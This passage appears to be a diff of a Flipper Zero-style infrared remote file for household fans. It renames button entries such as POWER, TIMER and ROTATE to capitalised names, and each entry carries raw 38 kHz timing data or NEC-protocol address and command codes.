1276 412 1254 444 1248 1284 436 1262 7278 1288 403 1285 435 408 1257 1285 433 1255 438 1260 431 413 1279 409 1283 415 1250 438 1254 1288 405 1283 7285 1281 411 1287 432 412 1253 1289 430 1258 435 1263 429 415 1250 438 1254 444 1248 440 1252 1290 429 1259 7283 1283 408 1290 428 416 1249 1283 436 1262 431 1257 435 408 1256 442 1250 438 1255 443 1248 1284 436 1262 7278 1288 430 1258 435 408 1256 1286 433 1255 437 1261 431 413 1252 436 1282 416 1249 439 1254 1288 404 1284 7282 1284 408 1290 428 416 1249 1283 436 1262 430 1258 434 410 1255 443 1249 439 1253 445 1247 1285 408 1290 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1276 403 1271 435 412 1241 1270 409 1276 431 1254 427 410 1242 1280 427 1247 433 404 1249 1273 407 430 8123 1273 433 1251 429 408 1245 1277 429 1245 435 1250 430 407 1272 1250 430 1255 426 411 1268 1254 426 411 8117 1279 401 1273 433 404 1249 1273 433 1251 429 1245 435 412 1240 1271 435 1249 431 406 1246 1276 431 406 8122 1274 406 1278 427 410 1270 1252 428 1246 434 1251 429 408 1271 1251 403 1271 436 411 1267 1244 436 411 8116 1279 427 1247 433 404 1275 1247 433 1251 429 1245 434 413 1266 1245 435 1250 430 407 1272 1250 431 406 8121 1274 431 1254 427 410 1269 1253 427 1247 433 1251 429 408 1271 1251 429 1245 434 413 1266 1245 435 412 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1280 457 1229 426 468 1236 1282 456 1230 427 468 1236 470 1235 471 1235 471 1235 471 1235 492 1240 1289 7171 1290 422 1284 399 464 1238 1291 422 1284 399 464 1239 467 1238 468 1238 468 1238 489 1217 500 1233 1285 7176 1285 426 1280 403 471 1232 1286 426 1281 403 471 1232 464 1242 496 1210 496 1237 469 1236 470 1236 1282 7206 1286 399 1287 422 441 1262 1287 398 1288 449 435 1215 491 1241 465 1240 466 1240 466 1240 466 1240 1289 7199 1283 429 1257 426 469 1235 1283 428 1258 426 469 1234 473 1234 472 1234 472 1233 474 1233 463 1243 1306 7182 1289 448 1258 398 465 1238 1291 448 1258 425 438 1239 467 1238 468 1238 468 1237 490 1216 490 1242 1287 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1289 448 1227 454 441 1238 1280 457 1228 454 441 1238 468 1239 1289 448 436 1215 491 1242 475 1233 473 8012 1281 457 1249 406 468 1237 1281 457 1260 396 467 1238 468 1239 1290 448 436 1242 475 1233 473 1234 472 8013 1291 421 1285 397 466 1238 1291 421 1285 398 465 1239 467 1240 1288 423 472 1233 473 1233 473 1234 472 8014 1289 449 1257 398 465 1239 1289 422 1284 398 465 1239 467 1240 1309 403 471 1233 473 1234 472 1235 471 8015 1309 402 1283 426 437 1241 1308 403 1283 427 436 1241 496 1237 1281 404 470 1235 471 1235 471 1236 491 8021 1282 402 1284 452 443 1235 1283 402 1284 452 443 1209 497 1236 1282 402 472 1233 463 1243 495 1212 494 8019 1284 427 1258 450 445 1233 1285 426 1259 450 444 1233 473 1233 1285 426 437 1240 497 1209 497 1236 470 8016 1288 450 1225 431 464 1241 1288 451 1255 402 472 1232 474 1232 1286 452 443 1235 523 1183 471 1235 471 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1286 424 1251 430 465 1241 1287 423 1252 457 437 1241 465 1242 464 1243 474 1234 472 1235 1314 423 440 8017 1286 451 1255 401 462 1242 1286 452 1254 402 472 1232 474 1233 473 1234 472 1234 493 1241 1287 424 439 8014 1289 422 1284 426 437 1241 1287 451 1255 403 471 1234 472 1234 472 1235 492 1215 491 1242 1286 399 464 8018 1285 426 1280 403 471 1234 1284 454 1252 404 470 1235 471 1236 491 1215 491 1243 526 1181 1285 427 436 8019 1315 423 1262 395 468 1236 1313 400 1286 424 439 1238 489 1218 499 1235 471 1236 470 1236 1282 430 464 8019 1284 401 1284 426 468 1236 1282 404 1281 456 438 1240 466 1240 466 1241 465 1241 465 1242 1286 426 468 8015 1288 424 1261 448 436 1242 1286 426 1259 451 444 1234 472 1234 472 1235 471 1235 471 1236 1282 456 438 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9090 4295 561 1708 570 561 563 569 565 567 567 565 569 563 561 570 564 568 566 565 569 1701 567 1702 566 1703 565 1705 563 1706 562 1707 561 1708 570 1699 569 1700 568 564 570 562 562 570 564 567 567 565 569 1700 568 563 591 563 561 1708 571 1699 569 1700 568 1702 566 1703 565 565 569 40667 9086 2139 562 97339 9092 2132 569 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 9092 4292 563 1732 536 569 565 567 567 591 543 589 534 597 537 595 539 566 568 564 570 1699 569 1700 568 1702 566 1703 565 1705 563 1707 561 1708 570 1700 568 1701 567 591 543 1700 568 564 570 588 535 570 564 1732 556 571 563 568 566 1703 565 567 567 1702 566 1703 565 1705 563 567 567 40657 9086 2135 566 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9091 4292 564 1706 562 569 565 567 567 565 569 562 561 570 564 568 566 565 569 562 561 1708 570 1698 570 1700 568 1728 540 1703 565 1705 563 1706 562 1708 570 1699 569 1700 568 563 571 561 562 569 565 566 568 1701 587 566 568 563 571 561 562 1706 562 1707 561 1708 570 1699 569 562 561 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9000 4466 564 1681 564 566 572 559 569 561 567 564 564 567 571 558 570 560 568 563 565 1678 567 1679 566 1681 564 1682 564 1679 566 1678 567 1686 570 1676 569 1674 571 559 569 563 565 1679 566 564 564 566 572 550 567 563 565 565 563 1679 566 1677 568 563 565 1678 567 1676 569 1681 564 1680 565 1680 565 565 563 569 569 1674 571 560 567 563 565 555 573 558 570 559 569 1674 571 1670 565 564 564 1678 567 1676 569 1675 570 12978 9003 2207 566 96147 9000 2203 570 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 9005 4459 570 1701 544 560 568 563 565 566 572 559 569 563 565 566 572 559 569 561 567 1678 567 1676 569 1675 570 1673 572 1671 564 1680 565 1685 571 1671 564 1677 568 561 567 562 566 564 564 565 563 565 563 557 571 557 571 557 571 1670 565 1678 567 1674 571 1668 567 1671 564 1686 570 1670 565 1675 570 559 569 560 568 561 567 562 566 563 565 553 564 563 565 564 564 1677 569 1673 573 1671 564 1678 567 1674 571 1671 564 13005 8998 2203 570 96194 8995 2204 569 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 9004 4451 568 1683 573 558 570 561 567 565 563 568 570 560 568 562 566 564 564 566 572 1680 565 1688 568 1685 571 1685 571 1684 572 1683 573 1674 571 1681 564 567 571 1679 566 1686 570 561 566 565 563 567 571 551 566 563 565 1690 566 565 563 569 569 1684 572 1682 563 1690 566 1681 564 1689 567 564 564 1689 567 1687 569 563 565 566 572 559 569 551 566 563 565 1684 572 558 570 560 567 1682 563 1687 569 1683 562 1688 568 12989 8992 2208 565 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 9005 4457 572 1673 572 559 569 561 567 563 565 566 562 567 571 558 570 560 568 562 566 1676 569 1673 572 1698 537 1708 537 1704 541 1703 542 1708 537 567 571 1669 566 1701 544 558 570 560 568 561 567 564 564 557 571 1671 564 565 563 566 572 1670 565 1703 542 1673 562 1678 567 1683 562 566 562 1677 568 1701 544 559 569 561 567 563 565 565 563 557 571 1668 567 563 565 563 565 1676 569 1699 546 1669 566 1678 567 1676 569 # -name: POWER +name: Power type: parsed protocol: NEC address: 30 00 00 00 command: 8C 00 00 00 # -name: SPEED- +name: Speed_dn type: parsed protocol: NEC address: 30 00 00 00 command: 83 00 00 00 # -name: SPEED+ +name: Speed_up type: parsed protocol: NEC address: 30 00 00 00 command: 85 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 8958 4439 570 1663 563 561 562 563 560 564 569 556 567 557 566 558 565 559 564 560 563 1669 567 1663 563 1670 566 1665 561 1670 566 1666 560 1680 567 1665 561 1670 566 558 565 560 563 1669 567 557 566 559 564 552 561 563 560 565 568 1663 563 1668 568 556 567 1665 561 1670 566 1674 562 1668 568 1663 563 561 562 562 561 1670 566 558 565 559 564 552 561 563 560 564 569 1661 565 1667 569 555 568 1664 562 1668 568 1663 563 12896 8966 2197 565 95701 8962 2200 562 95719 8975 2194 568 95705 8970 2195 567 95693 8970 2196 566 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 8965 4443 566 1668 568 557 566 559 564 562 561 564 569 583 540 559 564 561 562 563 560 1673 563 1671 565 1669 567 1666 560 1673 563 1670 566 1676 560 1673 563 1670 566 558 565 561 562 564 569 556 567 559 564 553 560 565 568 558 565 1668 568 1666 570 1663 563 1670 566 1667 569 1671 565 1668 568 1665 561 564 569 557 566 559 564 562 561 564 569 547 566 560 563 562 561 1672 564 1669 567 1666 570 1664 562 1671 565 1668 568 12942 8972 2198 564 95779 8964 2201 561 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 8970 4439 570 1665 561 564 569 556 567 558 565 561 562 563 560 566 567 557 566 559 564 1669 567 1667 569 1665 561 1672 564 1670 566 1668 569 1674 562 563 560 1673 563 1671 565 561 562 564 569 556 567 559 564 553 560 1673 563 563 560 566 567 1667 569 1664 562 1672 564 1669 567 1676 560 566 567 1667 569 1664 562 563 570 555 568 558 565 560 563 553 560 1674 562 563 560 565 569 1667 570 1664 562 1671 565 1667 569 1663 563 12935 8969 2204 568 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 8963 4430 569 1673 563 561 562 562 561 564 570 555 568 557 566 559 564 561 562 563 560 1680 567 1674 562 1680 567 1675 561 1681 566 1676 561 1671 565 1675 562 563 560 1682 565 1678 569 557 566 559 564 562 561 555 568 557 566 1675 562 564 569 555 568 1674 563 1678 569 1673 564 1670 566 1675 561 563 570 1672 564 1677 570 555 568 558 565 560 563 552 561 564 559 1682 565 560 563 563 560 1681 566 1675 561 1681 566 1676 561 12950 8975 2195 567 95870 8966 2201 561 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 8973 4429 570 1673 563 562 561 565 568 557 566 559 564 561 562 564 569 557 566 559 564 1679 568 1674 562 1680 567 1676 560 1682 565 1676 571 1663 563 1679 568 558 565 1677 570 1673 563 562 561 565 568 557 566 1667 559 565 568 1673 563 563 560 565 568 1674 562 1679 568 1675 561 556 567 1675 561 564 569 1672 564 1677 570 556 567 559 564 561 562 1670 566 559 564 1676 571 555 568 557 566 1675 562 1680 567 1675 561 564 569 12939 8975 2197 565 # -name: SPEED- +name: Speed_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 8972 4427 561 1681 566 560 563 562 561 565 568 557 566 559 564 561 562 563 560 565 568 1673 563 1676 571 1671 565 1676 571 1672 564 1677 570 1664 562 1679 568 1674 562 562 561 1680 567 558 565 560 563 562 561 555 568 556 567 558 565 1676 560 564 569 1670 566 1675 561 1680 567 1665 561 1680 567 1675 561 564 569 1673 563 562 561 564 569 556 567 548 565 561 562 562 561 1680 567 558 565 1677 570 1672 564 1678 569 1673 563 12942 8971 2195 567 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9024 4477 566 1725 541 537 575 530 572 534 568 537 565 540 572 533 569 537 565 540 572 1690 566 1697 569 1720 546 1690 566 1697 569 1694 572 1691 565 1698 568 1694 572 533 569 537 565 540 572 533 569 536 566 540 572 532 570 536 566 1696 570 1692 574 1715 541 1696 570 1693 573 1689 567 1696 570 1693 573 532 570 536 566 539 573 532 570 535 567 538 574 531 571 534 568 1695 571 1691 565 1725 541 1695 571 1692 574 1688 568 11738 9017 2223 574 95995 9023 2216 570 95998 9020 2219 567 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 9025 4477 576 1687 569 564 548 531 571 534 568 537 565 540 572 533 569 536 566 539 573 1689 567 1696 570 1693 573 1689 567 1696 570 1693 573 1690 566 1697 569 1694 572 560 542 1694 572 560 542 537 565 540 572 533 569 536 566 539 573 1689 567 565 547 1689 567 1696 570 1692 574 1689 567 1696 570 1693 573 559 543 1693 573 559 543 536 566 539 573 532 570 535 567 538 574 1688 568 564 548 1688 568 1695 572 1691 575 1688 568 11738 9016 2223 574 95995 9022 2216 570 96000 9019 2219 630 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9022 4480 573 1691 565 540 572 533 569 537 565 540 572 533 569 536 566 540 572 532 570 1693 573 1690 566 1697 569 1694 572 1717 539 1724 542 1721 545 1718 548 1715 541 1722 544 535 567 538 574 531 571 535 567 538 574 531 571 534 568 538 564 1698 568 1695 571 1692 574 1689 567 1722 544 1719 547 1716 540 1723 543 536 566 540 572 533 569 536 566 539 573 532 570 536 566 539 573 1689 567 1696 570 1693 573 1690 566 1724 542 11737 9015 2224 572 95995 9025 2215 571 95997 9020 2219 567 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 9021 4481 572 1692 574 531 571 535 567 538 574 531 571 534 568 538 564 541 571 534 568 1694 572 1691 575 1688 568 1722 544 1719 547 1690 566 1697 569 1694 572 1691 565 540 572 533 569 1694 572 533 569 537 565 540 572 533 569 537 565 1698 568 1694 572 533 569 1695 571 1692 574 1715 541 1722 544 1693 573 531 571 535 567 1696 570 535 567 539 573 532 570 535 567 538 574 1689 567 1696 570 535 567 1696 570 1693 573 1716 540 11739 9024 2216 570 95999 9020 2219 567 96001 9020 2220 566 # -name: POWER +name: Power type: parsed protocol: NEC address: 80 00 00 00 command: 92 00 00 00 # -name: SPEED+ +name: Speed_up type: parsed protocol: NEC address: 80 00 00 00 command: 89 00 00 00 # -name: SPEED- +name: Speed_dn type: parsed protocol: NEC address: 80 00 00 00 command: 9F 00 00 00 # -name: ROTATE +name: Rotate type: parsed protocol: NEC address: 80 00 00 00 command: 87 00 00 00 # -name: MODE +name: Mode type: parsed protocol: NEC address: 80 00 00 00 command: 81 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1286 402 1289 426 414 1241 1280 408 1283 431 409 1245 435 1246 434 1247 433 1249 442 1239 441 1240 1281 7121 1281 404 1276 436 414 1239 1282 429 1251 433 407 1246 434 1246 434 1247 433 1247 433 1247 433 1247 1284 8216 1275 408 1283 428 412 1267 1253 430 1250 432 408 1245 435 1244 436 1244 436 1244 436 1244 436 1243 1277 7120 1282 401 1279 403 437 1243 1277 404 1276 407 433 1247 433 1246 434 1246 434 1246 434 1246 434 1245 1275 8224 1277 405 1275 407 433 1247 1273 409 1282 400 440 1240 440 1239 441 1239 441 1239 441 1238 442 1238 1282 7115 1276 405 1275 407 433 1247 1273 409 1281 400 440 1240 440 1239 441 1239 441 1239 441 1238 432 1248 1283 8216 1275 407 1283 399 441 1238 1282 400 1280 402 438 1241 439 1241 439 1240 440 1239 441 1239 441 1238 1282 7114 1277 405 1275 406 434 1246 1274 407 1273 408 432 1248 432 1247 433 1247 1246 434 1245 435 1245 1275 8223 1279 403 1277 404 436 1244 1276 406 1274 407 433 1247 433 1246 434 1245 435 1245 435 1244 436 1244 1276 7120 1282 400 1280 401 439 1241 1279 402 1278 404 436 1244 436 1243 437 1243 437 1242 438 1241 439 1241 1279 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1286 401 1279 434 406 1249 1282 404 1276 436 414 1240 440 1241 1280 432 408 1247 433 1248 432 1248 443 7955 1277 408 1283 430 410 1244 1276 408 1283 429 411 1243 437 1243 1278 408 432 1248 432 1249 441 1265 415 9057 1286 400 1280 431 409 1271 1250 435 1256 429 411 1243 437 1243 1278 433 407 1248 432 1248 432 1248 432 7966 1277 407 1284 427 413 1241 1280 431 1249 435 405 1249 442 1239 1282 402 438 1243 437 1243 437 1243 437 9062 1280 404 1276 435 405 1248 1283 401 1279 432 408 1245 435 1246 1275 436 414 1239 441 1239 441 1239 441 7956 1276 407 1284 427 413 1241 1280 404 1276 434 406 1247 433 1247 1284 400 440 1240 440 1240 440 1240 440 9058 1284 399 1281 429 411 1243 1278 432 1248 435 405 1249 431 1248 1283 401 439 1241 439 1241 439 1241 439 7957 1275 408 1283 401 439 1241 1280 430 1250 406 434 1246 434 1246 1275 409 441 1238 432 1249 431 1248 432 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1292 403 1288 431 409 1246 1285 406 1285 432 408 1247 433 1249 442 1240 1280 407 443 1239 441 1267 413 7957 1286 401 1279 434 406 1248 1283 404 1287 427 413 1241 439 1241 439 1241 1280 407 433 1248 432 1248 443 9055 1277 409 1282 431 409 1244 1276 409 1282 431 409 1244 436 1245 435 1245 1286 426 414 1267 413 1241 439 7956 1276 409 1282 430 410 1244 1277 408 1283 429 411 1269 411 1243 437 1243 1278 407 433 1248 432 1248 432 9065 1277 407 1284 428 412 1242 1278 406 1285 427 413 1241 439 1241 439 1241 1280 406 434 1247 433 1247 433 7962 1281 405 1275 436 414 1266 1254 431 1249 436 414 1265 415 1239 441 1240 1280 432 408 1246 434 1247 433 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 1274 408 1283 426 414 1239 1282 427 1253 428 412 1241 439 1240 440 1240 440 1239 1281 427 413 1267 413 7957 1275 434 1246 436 404 1275 1256 427 1253 429 411 1267 413 1267 413 1240 440 1240 1280 428 412 1267 413 9060 1282 400 1280 428 412 1267 1253 429 1251 430 410 1243 437 1243 437 1242 438 1242 1278 429 411 1241 439 7958 1274 434 1246 436 414 1264 1256 426 1254 428 412 1266 414 1240 492 1188 440 1240 1280 428 412 1240 440 9059 1272 436 1254 426 414 1239 1281 426 1254 427 413 1240 440 1239 441 1239 441 1238 1282 426 414 1239 441 7955 1277 405 1275 407 433 1246 1274 408 1282 399 441 1239 441 1239 441 1239 441 1239 1281 400 440 1240 440 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1309 376 1276 409 433 1252 1305 379 1273 410 463 1222 441 1244 460 1221 463 1221 442 1242 462 1222 1283 7692 1310 375 1309 377 464 1220 1305 379 1273 410 463 1223 460 1222 441 1242 462 1221 431 1252 463 1220 1305 7668 1281 401 1303 378 432 1252 1284 399 1305 378 464 1220 464 1217 466 1216 467 1215 468 1214 459 1223 1303 7665 1305 379 1304 381 440 1244 1282 405 1278 409 433 1254 440 1246 437 1248 467 1219 433 1252 463 1224 1312 7687 1304 385 1309 380 461 1227 1278 410 1305 382 439 1250 433 1253 462 1228 466 1222 461 1226 468 1219 1306 7689 1313 375 1308 380 441 1248 1309 379 1284 402 460 1228 466 1222 441 1248 467 1222 462 1227 467 1222 1304 7688 1283 403 1312 374 468 1219 1306 382 1312 377 464 1224 439 1249 434 1252 442 1245 459 1228 435 1253 1304 7683 1277 411 1304 383 438 1249 1308 380 1303 381 461 1225 438 1248 435 1252 442 1247 436 1252 442 1246 1311 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1274 436 1247 436 406 1277 1249 437 1257 427 415 1269 415 1270 413 1272 1254 432 410 1274 410 1271 413 8525 1277 431 1253 430 412 1272 1254 430 1254 428 413 1270 414 1271 413 1272 1254 430 412 1271 413 1272 412 8537 1275 435 1249 437 415 1270 1256 427 1257 427 415 1268 405 1279 415 1268 1247 437 404 1279 415 1269 415 8528 1274 433 1251 432 410 1272 1254 430 1254 431 411 1273 411 1271 413 1244 1282 429 413 1271 413 1271 413 8532 1281 429 1255 430 412 1272 1254 429 1255 428 414 1271 413 1245 439 1273 1253 432 410 1274 410 1273 411 8539 1273 435 1249 433 409 1273 1253 429 1255 430 412 1271 413 1270 414 1267 1248 434 408 1274 410 1273 410 8532 1280 428 1256 427 414 1268 1247 436 1248 436 406 1250 434 1275 409 1272 1254 429 413 1270 414 1270 414 8534 1278 431 1253 433 409 1273 1253 429 1255 429 413 1269 415 1267 406 1277 1249 436 405 1277 407 1249 435 8531 1281 427 1246 436 406 1275 1251 434 1250 433 409 1272 412 1270 414 1269 1246 436 405 1277 407 1274 410 8537 1275 435 1249 435 407 1278 1248 437 1257 428 414 1268 405 1277 407 1276 1250 434 408 1274 410 1272 412 8531 1281 429 1255 429 413 1243 1283 427 1257 428 414 1271 413 1272 412 1272 1254 432 410 1273 411 1247 437 8536 1276 432 1252 432 410 1273 1253 432 1252 433 409 1275 409 1275 409 1275 1251 435 407 1278 405 1277 407 8535 1278 430 1254 428 414 1268 1247 436 1248 435 406 1276 408 1277 407 1277 1249 435 407 1277 407 1277 407 8540 1273 435 1249 434 408 1273 1253 429 1255 429 413 1271 413 1270 414 1270 1256 430 412 1271 413 1271 413 8538 1275 435 1249 435 407 1275 1251 432 1252 433 409 1275 409 1274 410 1274 1252 432 410 1275 409 1276 408 8542 1281 429 1255 431 411 1273 1253 431 1253 432 410 1273 411 1271 413 1271 1255 431 411 1273 411 1272 412 8529 1273 436 1258 427 415 1268 1258 427 1257 429 413 1272 412 1273 411 1249 1277 436 406 1279 415 1268 415 8536 1276 432 1252 430 412 1271 1255 431 1253 432 410 1275 409 1274 410 1273 1253 432 410 1274 410 1272 412 8527 1275 435 1249 435 407 1276 1250 433 1251 434 408 1277 407 1279 415 1269 1257 427 415 1271 413 1270 413 8556 1277 436 1258 431 411 1277 1259 430 1254 436 406 1280 414 1272 412 1275 1251 438 414 1272 412 1272 412 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1280 431 1253 432 410 1275 1250 433 1251 434 408 1277 406 1280 414 1272 412 1274 410 1276 1250 436 405 8543 1331 352 1280 432 410 1275 1251 433 1251 435 407 1275 409 1272 412 1271 413 1272 412 1273 1253 432 410 8527 1275 435 1249 436 405 1276 1250 431 1253 429 413 1270 413 1270 413 1269 414 1269 415 1268 1247 436 405 8534 1278 430 1253 428 414 1268 1247 435 1248 435 407 1277 406 1276 408 1274 410 1274 410 1248 1277 436 405 8558 1275 438 1256 431 411 1277 1259 428 1256 431 411 1275 409 1278 416 1271 413 1273 411 1277 1259 429 413 8559 1285 428 1256 430 412 1273 1253 433 1251 434 408 1277 406 1280 414 1274 410 1279 415 1273 1253 437 415 8550 1283 430 1254 433 409 1279 1257 431 1253 434 408 1279 415 1274 410 1278 416 1274 410 1278 1258 431 411 8553 1280 432 1252 435 407 1279 1257 427 1256 427 404 1277 406 1276 408 1248 435 1274 410 1273 1253 430 412 8535 1277 433 1251 435 406 1279 1257 429 1255 431 411 1275 409 1277 406 1278 416 1271 413 1272 1254 431 411 8545 1278 433 1251 434 408 1278 1258 428 1255 432 410 1274 410 1279 415 1273 411 1278 416 1273 1253 437 415 8557 1286 429 1254 437 415 1274 1252 436 1258 430 412 1277 406 1283 411 1278 405 1282 412 1275 1250 438 414 8561 1282 433 1251 438 414 1274 1252 438 1256 433 409 1277 407 1280 414 1272 412 1275 409 1278 1258 429 413 8549 1284 430 1254 434 408 1279 1257 429 1255 433 409 1279 415 1273 411 1277 407 1280 414 1274 1252 436 405 8557 1276 436 1258 431 411 1274 1252 434 1250 437 415 1272 412 1275 408 1280 414 1275 409 1280 1256 433 409 8558 1285 428 1256 431 411 1276 1250 438 1256 432 410 1278 416 1272 412 1273 411 1273 411 1273 1253 432 410 8539 1273 437 1247 436 405 1277 1249 434 1250 435 406 1276 408 1275 409 1275 409 1275 409 1275 1251 435 406 8543 1280 430 1254 431 411 1274 1252 431 1253 431 411 1273 410 1272 412 1273 411 1274 410 1276 1250 434 408 8542 1280 432 1252 434 408 1279 1257 430 1254 433 408 1277 407 1278 416 1270 413 1272 412 1275 1251 435 406 8540 1283 427 1257 429 413 1272 1254 431 1253 432 410 1275 409 1276 408 1278 406 1277 406 1276 1250 435 407 8538 1274 434 1250 434 408 1277 1249 436 1258 428 414 1273 411 1272 412 1270 414 1271 412 1273 1253 433 409 8535 1277 433 1251 436 406 1282 1254 433 1250 438 414 1274 410 1278 405 1280 414 1271 413 1276 1260 429 412 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 1280 433 1251 436 405 1281 1255 431 1253 434 408 1278 405 1279 1257 431 411 1277 407 1280 414 1274 410 8547 1275 437 1257 428 413 1270 1255 430 1254 430 412 1273 411 1275 1251 436 405 1280 414 1271 412 1273 410 8550 1283 431 1253 434 408 1278 1258 427 1256 428 414 1271 412 1272 1254 434 408 1279 415 1271 412 1247 436 8544 1279 433 1251 435 407 1279 1257 430 1254 434 407 1278 405 1277 1249 437 415 1269 414 1269 415 1269 415 8537 1275 435 1248 435 406 1276 1250 436 1248 436 406 1278 406 1277 1248 437 404 1280 414 1269 414 1271 412 8532 1280 428 1255 428 413 1269 1246 437 1246 435 406 1276 408 1277 1248 436 406 1278 406 1279 415 1268 416 8538 1274 436 1258 427 415 1269 1257 427 1257 430 412 1272 412 1273 1252 434 408 1277 407 1280 414 1272 412 8553 1280 405 1279 434 408 1276 1250 435 1259 429 413 1273 411 1274 1252 434 408 1277 407 1279 415 1270 414 8548 1275 436 1258 428 414 1272 1254 433 1250 435 406 1277 406 1278 1258 429 413 1272 412 1275 409 1277 406 8549 1284 427 1257 430 412 1274 1251 433 1251 434 407 1277 406 1278 1248 437 415 1269 415 1271 412 1273 410 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 8982 4433 598 1657 570 519 594 547 566 522 591 549 575 540 573 541 572 542 571 543 570 1659 568 1635 592 1637 600 1655 572 1657 570 1660 566 1636 601 1654 572 1630 597 517 596 545 568 520 593 547 566 548 576 539 574 540 573 540 573 1629 598 1631 596 1633 593 1635 592 1637 600 1629 597 1631 596 1633 593 521 592 522 591 549 575 540 573 514 599 542 571 543 570 544 569 1659 568 1635 592 1637 600 1628 598 1630 597 1632 595 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 8990 4430 601 1628 598 517 596 519 594 547 566 549 574 540 573 542 571 544 569 546 567 1663 574 1628 598 1658 568 1662 575 1654 572 1658 568 1660 566 1663 574 1656 570 544 569 1660 566 548 575 539 574 541 572 542 571 544 569 545 568 1662 575 539 574 1656 570 1658 568 1661 565 1664 573 1656 570 1659 567 548 565 1664 573 542 571 543 570 545 568 546 567 548 565 549 574 1655 571 543 570 1659 567 1661 576 1628 598 1658 568 # -name: SPEED+ +name: Speed_up type: parsed protocol: NEC address: 00 00 00 00 command: 11 00 00 00 # -name: ROTATE +name: Rotate type: parsed protocol: NEC address: 00 00 00 00 command: 0E 00 00 00 # -name: TIMER +name: Timer type: parsed protocol: NEC address: 00 00 00 00 command: 05 00 00 00 # -name: ROTATE +name: Rotate type: parsed protocol: NEC address: 00 00 00 00 command: 18 00 00 00 # -name: TIMER +name: Timer type: parsed protocol: NEC address: 00 00 00 00 command: 40 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1313 407 1306 414 432 1273 1306 415 1308 447 409 1275 438 1275 437 1275 438 1273 1306 449 407 1278 434 7939 1307 438 1285 408 427 1278 1312 409 1304 424 484 1229 432 1280 433 1280 433 1277 1313 415 431 1282 430 7925 1310 408 1304 414 432 1274 1305 415 1308 420 426 1286 427 1285 428 1284 429 1282 1308 420 426 1286 427 7944 1312 407 1306 413 433 1272 1307 413 1310 418 428 1284 429 1283 481 1230 431 1279 1311 417 429 1283 430 7922 1313 406 1307 412 434 1271 1308 412 1311 416 430 1283 429 1282 431 1281 432 1277 1313 415 431 1281 431 7935 1310 409 1365 353 482 1222 1306 415 1308 420 426 1285 428 1284 429 1283 429 1280 1310 418 428 1284 429 7922 1303 415 1308 411 435 1270 1310 411 1312 415 431 1280 432 1279 433 1278 435 1274 1305 423 433 1278 435 7930 1305 413 1310 409 426 1277 1313 408 1305 422 434 1277 436 1275 427 1284 429 1280 1310 418 428 1283 430 7918 1307 411 1312 407 428 1275 1304 416 1307 420 436 1275 427 1283 430 1281 431 1277 1313 414 432 1279 433 7928 1307 411 1312 406 429 1274 1305 414 1309 419 427 1283 430 1281 432 1279 434 1275 1304 449 407 1277 435 7909 1305 412 1311 408 427 1276 1303 416 1307 421 435 1275 427 1283 430 1281 431 1277 1313 414 432 1279 433 7925 1310 408 1305 414 432 1271 1308 412 1311 417 429 1281 431 1279 433 1276 436 1272 1308 420 426 1284 429 7914 1311 407 1368 351 433 1271 1308 412 1311 416 430 1281 431 1278 434 1276 426 1281 1309 419 427 1283 430 7928 1307 410 1364 354 481 1221 1307 414 1309 418 428 1282 431 1280 433 1277 436 1272 1307 420 436 1274 428 7913 1312 406 1307 412 434 1269 1310 410 1313 414 432 1278 434 1275 427 1282 431 1277 1313 415 431 1279 433 7922 1313 405 1307 411 435 1268 1311 409 1304 423 433 1277 435 1274 428 1281 431 1276 1314 414 432 1278 434 7905 1310 409 1314 404 431 1271 1308 412 1311 417 429 1280 432 1277 436 1274 428 1279 1311 417 429 1280 432 7922 1313 432 1281 438 408 1267 1312 435 1288 440 406 1277 436 1273 429 1280 432 1275 1315 413 433 1278 434 7903 1311 409 1314 404 431 1269 1310 413 1310 418 428 1306 407 1276 437 1273 429 1278 1312 419 427 1306 407 7921 1315 406 1307 412 434 1292 1287 410 1313 415 431 1302 411 1298 404 1279 434 1274 1316 415 431 1302 411 7901 1314 407 1306 413 433 1294 1285 411 1312 417 429 1304 409 1300 402 1281 432 1275 1315 416 430 1303 410 7917 1308 412 1311 409 426 1274 1305 417 1306 422 434 1274 428 1280 432 1277 436 1297 1283 421 435 1273 429 7906 1309 411 1312 407 428 